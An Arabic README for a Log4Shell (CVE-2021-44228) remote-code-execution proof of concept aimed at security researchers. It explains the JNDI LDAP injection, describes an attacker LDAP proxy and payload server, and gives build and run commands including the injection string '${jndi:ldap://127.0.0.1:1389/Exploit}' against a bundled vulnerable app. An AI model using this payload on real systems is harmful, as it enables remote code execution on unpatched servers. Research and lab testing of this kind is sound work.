
إثبات مفهوم (PoC) لتنفيذ الكود عن بُعد لثغرة Log4Shell (CVE-2021-44228)
يتيح هذا المستودع للباحثين الأمنيين تجربة تنفيذ الأوامر عن بُعد من خلال توفير تنفيذ لخادم هجوم يقوم بتحميل استغلال مخصص على تطبيق ضعيف يحتوي على log4j.
⚠️ الأداة مخصصة للتقييم الذاتي ويجب استخدامها فقط من قبل أشخاص مخوّلين أو باحثين. يجب عليك فقط اختبار الأنظمة التي لديك إذن أو سلطة صريحة عليها. إذا وجدت تطبيقات أو مكتبات ضعيفة، فيجب عليك اتباع الإفصاح المسؤول.
تعمل ثغرة CVE-2021-44228 عن طريق حقن سلسلة JNDI LDAP في سجلاتك، مما يدفع Log4j إلى الاتصال بخادم LDAP المحدد بحثًا عن معلومات إضافية. في سيناريو ضار، يمكن لخادم LDAP بعد ذلك إرسال الكود مرة أخرى إلى الجهاز الضحية، والذي سيتم تنفيذه تلقائيًا في الذاكرة.
يحتوي المستودع على مشروعين فرعيين. مشروع attacker-server يحتوي على الكود المصدري لخادمين متعددي الخيوط. الأول هو وكيل LDAP يستقبل الطلب الأولي لكائن LDAP. الخادم الثاني هو خادم الحمولة الذي يرسل الاستغلال (الموجود في Exploit.java) مرة أخرى إلى التطبيق الضعيف.
في جذر المشروع:
mvn clean install
يجب أن يكون كل من الخادم والتطبيق الضعيف جاهزين.
لتشغيل الخادم، نفّذ:
java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar
لتفعيل تنفيذ الأوامر عن بُعد، نفّذ:
java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}
يمكنك تغيير الحمولة الضارة حسب الحاجة من خلال توسيع Exploit.java.